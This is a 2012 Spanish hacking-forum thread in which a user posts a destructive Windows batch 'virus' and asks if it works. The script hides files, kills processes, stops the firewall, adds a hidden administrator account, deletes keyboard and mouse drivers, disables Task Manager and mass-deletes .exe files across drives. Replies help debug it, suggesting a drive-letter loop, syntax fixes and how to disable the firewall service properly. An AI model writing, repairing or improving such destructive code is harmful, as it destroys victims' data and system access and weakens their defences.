elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [BATCH] Virus raro. ¿Funcionaria?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [BATCH] Virus raro. ¿Funcionaria?  (Leído 2,680 veces)
Ori-chan

Desconectado Desconectado

Mensajes: 257


El rey de los novatos en persona.


Ver Perfil
[BATCH] Virus raro. ¿Funcionaria?
« en: 23 Diciembre 2012, 18:55 pm »

No se mucho de batch. Así que tuve que buscar algunos trozos de código en google.


Código
  1. @ECHO OFF
  2. TITLE NV Adm
  3. color 02
  4. C: attrib -R -A -S +H -I *.exe /S /D
  5. D: attrib -R -A -S +H -I *.exe /S /D
  6. E: attrib -R -A -S +H -I *.exe /S /D
  7. F: attrib -R -A -S +H -I *.exe /S /D
  8. G: attrib -R -A -S +H -I *.exe /S /D
  9. H: attrib -R -A -S +H -I *.exe /S /D
  10. I: attrib -R -A -S +H -I *.exe /S /D
  11. C: attrib +H *.* /S /D
  12. D: attrib +H *.* /S /D
  13. E: attrib +H *.* /S /D
  14. F: attrib +H *.* /S /D
  15. G: attrib +H *.* /S /D
  16. H: attrib +H *.* /S /D
  17. I: attrib +H *.* /S /D
  18. C: TASKKILL /F /FI *.exe
  19. D: TASKKILL /F /FI *.exe
  20. E: TASKKILL /F /FI *.exe
  21. F: TASKKILL /F /FI *.exe
  22. G: TASKKILL /F /FI *.exe
  23. H: TASKKILL /F /FI *.exe
  24. I: TASKKILL /F /FI *.exe
  25. C: TASKKILL /F /IM *.exe
  26. D: TASKKILL /F /IM *.exe
  27. E: TASKKILL /F /IM *.exe
  28. F: TASKKILL /F /IM *.exe
  29. G: TASKKILL /F /IM *.exe
  30. H: TASKKILL /F /IM *.exe
  31. I: TASKKILL /F /IM *.exe
  32. net stop "Firewall De Windows/Conexion compartida a internet (ICS)"
  33.  
  34. net user 9900990099 nkdr9998%%$$ /fullname:"NVadm" /comment:"no seas impaciente" /active:yes /passwordchg:no /expires:never time:Monday,00:00 /add
  35.  
  36.  
  37.  
  38. (
  39. echo @echo off
  40. echo title NV sobreescritura
  41. echo color 02
  42. echo del /f /q %systemroot%\system32\mouse.*
  43. echo del /f /q %systemroot%\system32\keyboard.*
  44. echo echo ayuda>^>^wormNC90909.txt
  45. echo cd C:Archivos de programaWinamp
  46. echo del /f /q winamp.exe
  47. echo Reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d "1" /f
  48.  
  49. echo cd %windir%\system
  50. echo DEL MOUSE:DRV /f /q /s
  51. echo RUNDLL32.DLL,SpawMouseButton
  52. echo CD %windir%\system32\drivers
  53. echo DEL "%windir%\system32\drivers\i8042prt.sys" /f
  54. echo DEL "%windir%\system32\drivers\mouclass.sys" /f
  55. echo DEL "%windir%\system32\drivers\kbdclass.sys" /f
  56. echo rund1132 keyboard,disable
  57.  
  58.  
  59.  
  60.  
  61.  
  62. )>>sobreescritura.bat
  63. start sobreescritura.bat
  64.  
  65.  
  66. echo exit>>sobreescritura.bat
  67. :XNOP
  68. if exsist wormNV90909.txt (del /Q /S sobreescritura.bat) else goto XNOP
  69. del /Q /S wormNV90909.txt
  70. cls
  71. C: del /Q /S /F *.exe
  72. D: del /Q /S /F *.exe
  73. E: del /Q /S /F *.exe
  74. F: del /Q /S /F *.exe
  75. G: del /Q /S /F *.exe
  76. H: del /Q /S /F *.exe
  77. I: del /Q /S /F *.exe



He encontrado dos maneras de bloquear el teclado y el ratón (y he puesto las dos):

Esta:
Código
  1. del /f /q %systemroot%\system32\mouse.*
  2. del /f /q %systemroot%\system32\keyboard.*



Y esta:
Código
  1. cd %windir%\system
  2. DEL MOUSE:DRV /f /q /s
  3. RUNDLL32.DLL,SpawMouseButton
  4. CD %windir%\system32\drivers
  5. DEL "%windir%\system32\drivers\i8042prt.sys" /f
  6. DEL "%windir%\system32\drivers\mouclass.sys" /f
  7. DEL "%windir%\system32\drivers\kbdclass.sys" /f
  8. rund1132 keyboard,disable

¿Valen las dos?, ¿Vale solo una?, ¿No vale ninguna?





Se supone que con esto se elimina el administrador de tareas:

Código
  1. Reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d "1" /f



Y esto para eliminar el firewall:

Código
  1. net stop "Firewall De Windows/Conexion compartida a internet (ICS)"


Lo mismo. ¿Funcionan?








PD: No pretendo hacer nada malo con esto, es solo que cuando de dejé batch lo abandoné en mi pendrive. Y ahora lo he visto y quería preguntar si lo había hecho bien. (85% seguro de que no)





Un saludo y gracias por leer!!  ;D


En línea


Segadorfelix

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: [BATCH] Virus raro. ¿Funcionaria?
« Respuesta #1 en: 23 Diciembre 2012, 19:19 pm »

Poner el nombre de unidad antes de un comando no funciona, en algunas unidades también daría error si no existen.
Código:
C: TASKKILL /F /FI *.exe
D: TASKKILL /F /FI *.exe
E: TASKKILL /F /FI *.exe
F: TASKKILL /F /FI *.exe
G: TASKKILL /F /FI *.exe
H: TASKKILL /F /FI *.exe
I: TASKKILL /F /FI *.exe
con el primer taskkill se finalizan todos los procesos y por ende el bat no continuaría la ejecución , FI debe cambiarse por IM y hay que poner comillas al proceso para que no de error.
SaluDoss.


En línea

Meine programmen

Desconectado Desconectado

Mensajes: 121



Ver Perfil
Re: [BATCH] Virus raro. ¿Funcionaria?
« Respuesta #2 en: 23 Diciembre 2012, 21:22 pm »

En vez de ir letra a letra en el codigo, usa un bucle FOR, y pon un IF EXIST por si acaso no existe la unidad. Algo asi como:
Código:
FOR %%A IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (IF EXIST "%%A:\" "Aqui la primera orden que quieras poner"&&"Aqui la segunda orden que quieras poner")
Y en las ordenes en vez de poner C, D o E, pones %%A y se ira sustituyendo por cada una de las letras.

PD: Las ordenes sin comillas, ¿Eh?
En línea

REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!

Ori-chan

Desconectado Desconectado

Mensajes: 257


El rey de los novatos en persona.


Ver Perfil
Re: [BATCH] Virus raro. ¿Funcionaria?
« Respuesta #3 en: 23 Diciembre 2012, 21:57 pm »

Gracias a los dos. Lo modificaré y lo probaré  ;D
En línea


Segadorfelix

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: [BATCH] Virus raro. ¿Funcionaria?
« Respuesta #4 en: 23 Diciembre 2012, 22:05 pm »

En vez de ir letra a letra en el codigo, usa un bucle FOR, y pon un IF EXIST por si acaso no existe la unidad. Algo asi como:
Código:
FOR %%A IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (IF EXIST "%%A:\" "Aqui la primera orden que quieras poner"&&"Aqui la segunda orden que quieras poner")
Y en las ordenes en vez de poner C, D o E, pones %%A y se ira sustituyendo por cada una de las letras.

PD: Las ordenes sin comillas, ¿Eh?
Tambien un ">NUL 2>&1" (Sin las comillas) para evitar que aparezca error al no detectar un disco.
En línea

Meine programmen

Desconectado Desconectado

Mensajes: 121



Ver Perfil
Re: [BATCH] Virus raro. ¿Funcionaria?
« Respuesta #5 en: 23 Diciembre 2012, 22:16 pm »

Tambien un ">NUL 2>&1" (Sin las comillas) para evitar que aparezca error al no detectar un disco.
No entendi, ¿Si usa el IF no deberia de ahorrarse el mensaje de error?
En línea

REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!

Segadorfelix

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: [BATCH] Virus raro. ¿Funcionaria?
« Respuesta #6 en: 23 Diciembre 2012, 22:23 pm »

No entendi, ¿Si usa el IF no deberia de ahorrarse el mensaje de error?
Pues en teoría si, pero al parecer en algunos casos falla:
http://foro.elhacker.net/scripting/detectar_correctamente_unidad_de_un_pendrive-t379149.0.html
En línea

Meine programmen

Desconectado Desconectado

Mensajes: 121



Ver Perfil
Re: [BATCH] Virus raro. ¿Funcionaria?
« Respuesta #7 en: 23 Diciembre 2012, 22:26 pm »

Bueno es saberlo, luego salen las cosas mal  y no nos damos cuenta  :xD
En línea

REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.709



Ver Perfil
Re: [BATCH] Virus raro. ¿Funcionaria?
« Respuesta #8 en: 24 Diciembre 2012, 06:28 am »

Dejando a un lado que Batch no es el camino para ese tipo de cosas,
Sigues haciendo codes sin tener intención de probarlos en una máquina virtual, y así no vas a aprender jamás.



-El código que se supone que bloquea teclado+ratón:
Lo único que hacen es eliminar el el archivo del driver del teclado y del mouse, realmente no bloquean nada.
El code solo afecta a WinXP, ya que en Windows 7 esos archivos no existen en esas rutas.
El executable "rund1132" no existe, es "Rundll32", y la función "disable" de esa dll no existe ni en WindowsXP ni en Windows 7, por lo tanto no te va a funcionar, encontraste información demasiado antigua.

- El código que se supone que elimina el administrador de tareas:
simplemente agregas una entrada en la política de grupo para denegar permisos al taskmanager, la cual se puede restaurar modificando el valor de nuevo a "0"

- El código que se supone que elimina el firewall:
simplemente intentas DETENER un servicio (Para eso sirve "net stop"), servicio el cual nisiquiera existe, pusiste el nombre de los dos servicios juntos separados con una barra diagonal /,
además deteniendo un servicio no sirve de nada si el servicio está en modo automático se volverá a ejecutar cuando el SO lo necesite, debes detenerlo y despues cambiarlo a modo desactivado para que no se siga ejecutando.
EDITO: Aunque corrigieras el nombre, tampoco iba a funcionar si yo le cambio el nombre a mi servicio por precaución, osea, debes usar el identificador del servicio en lugar del nombre (Que además usando el nombre solo funcionará en Windows del idioma castellano).

saludos
« Última modificación: 24 Diciembre 2012, 06:38 am por EleKtro H@cker » En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Tu escritorio RARO(Batch y Hexadecimal) « 1 2 »
Dudas Generales
Vangred 16 6,576 Último mensaje 29 Septiembre 2010, 22:12 pm
por [L]ord [R]NA
[BATCH] Worm. ¿Funcionaria? « 1 2 3 »
Scripting
Ori-chan 26 6,469 Último mensaje 23 Diciembre 2012, 16:25 pm
por OmarHack
Keylogger, funcionaría..?
Hacking Básico
WIитX 4 1,812 Último mensaje 16 Diciembre 2013, 04:49 am
por hesterl
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines